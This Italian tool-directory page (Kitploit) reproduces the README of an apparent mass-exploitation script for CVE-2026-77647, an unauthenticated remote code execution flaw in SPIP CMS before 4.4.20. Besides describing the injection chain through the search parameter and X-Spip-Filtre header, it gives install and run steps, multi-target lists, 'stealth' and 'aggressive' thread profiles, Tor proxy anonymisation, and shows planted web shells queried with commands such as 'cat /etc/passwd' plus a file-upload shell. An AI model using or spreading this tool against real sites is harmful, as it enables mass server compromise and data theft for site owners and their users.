Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-77647 — SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-77647
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubnxploited/cve-2026-77647

CVE-2026-77647

SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario

Vedi Repository
81 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-77647

SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario

🔴 CVE-2026-77647 — Esecuzione di codice remoto non autenticata in SPIP

Esecuzione di codice remoto pre-autenticazione in SPIP CMS — Tutte le versioni precedenti alla 4.4.20


📋 Panoramica

CVE-2026-77647 è una vulnerabilità critica di esecuzione di codice remoto (RCE) non autenticata che interessa tutte le versioni di SPIP CMS precedenti alla 4.4.20.

La falla consente a un attaccante remoto — senza alcuna autenticazione o interazione dell'utente — di eseguire codice PHP arbitrario sul server di destinazione. È stata attivamente sfruttata in the wild a partire da agosto 2026, spingendo il team di SPIP a rilasciare una patch di emergenza.

Questo strumento automatizza il rilevamento e lo sfruttamento di questa vulnerabilità su più target con concorrenza configurabile.


🛡️ Dettagli della vulnerabilità

CampoDettagli
CVE IDCVE-2026-77647
Software interessatoSPIP CMS
Versioni interessateTutte le versioni precedenti alla 4.4.20
TipoEsecuzione di codice remoto (RCE) non autenticata
CWECWE-94 — Controllo improprio della generazione di codice (Code Injection)
Punteggio CVSS 3.19.8 / 10 — CRITICO
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticazioneNessuna richiesta (Pre-Auth)
SfruttamentoAttivamente sfruttata in the wild (agosto 2026)
PatchSPIP 4.4.20 (Advisory)

⚙️ Analisi del CVSS 3.1

MetricaValoreSignificato
Vettore di attaccoNetworkSfruttabile da remoto via internet
Complessità di attaccoBassaNessuna condizione particolare richiesta
Privilegi richiestiNessunoNessuna autenticazione necessaria
Interazione utenteNessunaNessuna azione della vittima richiesta
AmbitoInvariatoImpatto limitato al sistema vulnerabile
RiservatezzaAltaAccesso completo in lettura a tutti i dati
IntegritàAltaAccesso completo in scrittura / modifica
DisponibilitàAltaCompleta negazione del servizio possibile

🔬 Analisi tecnica

Causa principale

La vulnerabilità deriva da due problemi interagenti nel motore di template di SPIP:

  1. Identificazione errata dei blocchi <?php — il motore di template di SPIP non riesce a sanificare correttamente i tag di apertura PHP all'interno di input controllati dall'utente, in particolare nel parametro di ricerca (recherche).

  2. Gestione errata di var_export — la funzione var_export() di PHP gestisce in modo errato alcuni casi limite, in particolare quando l'input contiene il carattere <, consentendo l'iniezione di codice PHP eseguibile.

Catena di sfruttamento

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

L'attaccante invia un payload appositamente costruito tramite la funzionalità di ricerca di SPIP (?page=recherche&recherche=PAYLOAD). Il payload sfrutta il meccanismo dell'header HTTP X-Spip-Filtre per attivare html_entity_decode, che decodifica il codice PHP iniettato. Il codice decodificato viene quindi valutato dal motore di rendering dei template di SPIP, ottenendo l'esecuzione di codice arbitrario.

Flusso dell'attacco

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Utilizzo

Requisiti

  • Python 3.7+
  • Libreria requests

Installazione

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Preparare i Target

Crea un file chiamato list.txt (o qualsiasi nome personalizzato) con un target per riga:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Nota: I target senza schema (http:// o https://) useranno http:// come predefinito.

Esecuzione

python CVE-2026-77647.py

Configurazione interattiva

Lo strumento ti chiederà:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
VelocitàThreadTimeoutProfilo
1 — Lenta525s🔇 Furtivo
2 — Normale1015s⚖️ Bilanciato
3 — Veloce2512s⚡ Aggressivo
4 — Ultra5010s🔥 Massimo
[?] Proxy (blank = none): socks5://127.0.0.1:9050

Supporta proxy HTTP/HTTPS/SOCKS per l'anonimizzazione.

Output

I risultati ottenuti con successo vengono salvati in shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Accesso alla Shell

Esecuzione dei comandi:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Interfaccia di caricamento file:

https://target.com/Nx_.php?k=nXk

🎯 Funzionalità

  • 🔍 Rilevamento automatico della versione di SPIP tramite header Composed-By e fingerprinting della pagina
  • 🛡️ Salto delle versioni corrette — salta automaticamente SPIP ≥ 4.4.20
  • 📝 Doppio deployment della shell — shell per l'esecuzione di comandi + shell per l'upload di file
  • 📂 Scrittura su più percorsi — tenta le directory root, IMG/, tmp/ e local/
  • ⚡ Scansione multi-thread — da 5 a 50 thread concorrenti configurabili
  • 🌐 Supporto proxy — routing tramite proxy HTTP, HTTPS e SOCKS
  • 📊 Stato in tempo reale — avanzamento live con output del terminale colorato
  • 💾 Salvataggio automatico dei risultati — tutte le shell confermate salvate nel file di output

📚 Riferimenti

  • CVE-2026-77647 — CVE.org
  • CVE-2026-77647 — NVD (NIST)
  • SPIP Security Advisory — SPIP Blog
  • CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
  • Debian Security Tracker — CVE-2026-77647
  • Rapid7 Vulnerability Database

⚠️ Disclaimer

Scarica lo strumento